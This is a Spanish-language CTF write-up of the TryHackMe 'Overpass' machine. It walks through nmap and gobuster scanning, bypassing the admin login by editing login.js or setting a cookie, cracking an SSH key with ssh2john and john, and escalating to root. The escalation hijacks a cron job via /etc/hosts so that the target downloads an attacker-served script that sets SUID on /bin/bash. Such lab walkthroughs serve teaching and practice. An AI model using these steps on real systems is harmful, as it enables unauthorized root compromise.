Entrada

Overpass

La máquina que voy a resolver hoy es Overpass, una máquina de nivel fácil que nos ofrece de forma gratuita Tryhackme.

RECONOCIMIENTO

Ejecuto el commando curl <ip> y me devuelve que es una pagina web, asi que me dirijo al navegador para analizarla.

vista-principal

Tras navegar por ella descubro que es una empresa que ofrece un servicio de cifrado de contraseñas. Procedo a analizar el codigo fuente de la web y solo obtengo un comentario, sin importancia.

vista-codigo

Realizo un scanner de puertos con nmap para comprobar cuales pueden estar abiertos y si existe alguna vulnerabilidad.

1
nmap -sC -O -T 2 -sS <ip> -vvv -oN overpass.txt

vista-nmap

Me encuentro los puertos 22 y 80. Ahora voy a comprobar los directorios accesibles de la web con gobuster:

1
gobuster dir -u http://<ip> -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -o directories.txt

vista-fuzzing

Como resultado, me dice que la ruta /admin/ es accessible y me dispongo a comprobarla.

vista-webadmin

Tras unas horas probando logearme usando Hydra y alguna SQLI pero sin obtener ningún resultado positivo, analizo si contiene archivos javascript. En login.js me encuentro con una vulnerabilidad A2:2017-Broken Authentication

vista-webcookie

Lo importante de el código se encuentra al fina y podemos explotar esta vulnerabilidad de dos formas distintas:

  • modificando el código en la consola.
  • creando una cookie.

Una vez modifico el JS refresco la página y obtengo las credenciales para poder acceder por ssh al servidor.

vista-rsalogin

Guardo la clave RSA en un archivo llamado id_rsa. Ahora necesito obtener la clave para poder acceder a el servidor, iré paso a paso:

  1. Con ssh2jhon para darle formato a la clave: ssh2john id_rsa > id_rsa.hashes
  2. Con john, analizo la clave en busca de la contraseña: john --wordlist=/usr/share/wordlists/john.lst --format=SSH id_rsa.hashes

vista-rsapass

EXPLOTACIÓN

Ahora me dispongo a conectarme por ssh al servidor, pero me encuentro el siguiente problema…

vista-sshloginbad

Para poder logear le doy permisos a el archivo id_rsa y me conecto por ssh a el servidor, con las credenciales obtenidas anteriormente.

vista-sshlogingood

Dentro de el servidor, busco los archivos .txt con el siguiente commando:

1
find / -type f -name '*.txt' 2>/dev/null

Me devuelve la primera flag en el archivo user.txt

ESCALADA DE PRIVILEGIOS

Ahora busco los cronjobs para ver si obtengo un vector de ataque… usando el commando cat /etc/crontab me arroja como resultado que se ejecuta un cronjob con el archivo buildscript.sh el cual podemos explotar.

vista-cronjob

Llegado a este punto analizo la situacion:

  • Si me fijo en el cronjob, ejecuta la descarga de un archivo llamado buildscript.sh de la ruta overpass.thm/downloads/src Entonces… como atacar a la máquina? para ello realizo los siguientes pasos
  1. Edito el archivo /etc/hosts/ para redirigir la conexion a mi maquina atacante, cambando la direction ip.
  2. Creo una falsa ruta: ~/downloads/src/ y dentro creo un archillo llamado buildscript.sh que contiene un commando para poder ejecutar bash con privilegio de superusuario de forma temporal: echo '#!/bin/bash \n chmod +s /bin/bash' > buildscript.sh
  3. Creo un servidor http con el puerto 80 para que la maquina victima se pueda conectar a mi máquina atacante y descargue asi el archivo. vista-multitask

vista-server

Una vez descarga el archivo de mi servidor, accedo a la ruta /dev/shm/ y ejecuto el commando /bin/bash -p para iniciar una nueva instancia del shell Bash en modo privileged.

El directorio /dev/shm es una forma de acceder a esta memoria compartida como si fuera un sistema de archivos. Los archivos que se crean dentro de /dev/shm son en realidad bloques de memoria compartida que pueden set utilizados por los procesos del sistema.

Esto puede set útil para situaciones en las que varios procesos necesitan compartir datos de forma rápida y eficiente, como en aplicaciones de alto rendimiento, servidores web, bases de datos en memoria, etc.

vista-root

Esta entrada está licenciada bajo CC BY 4.0 por el autor.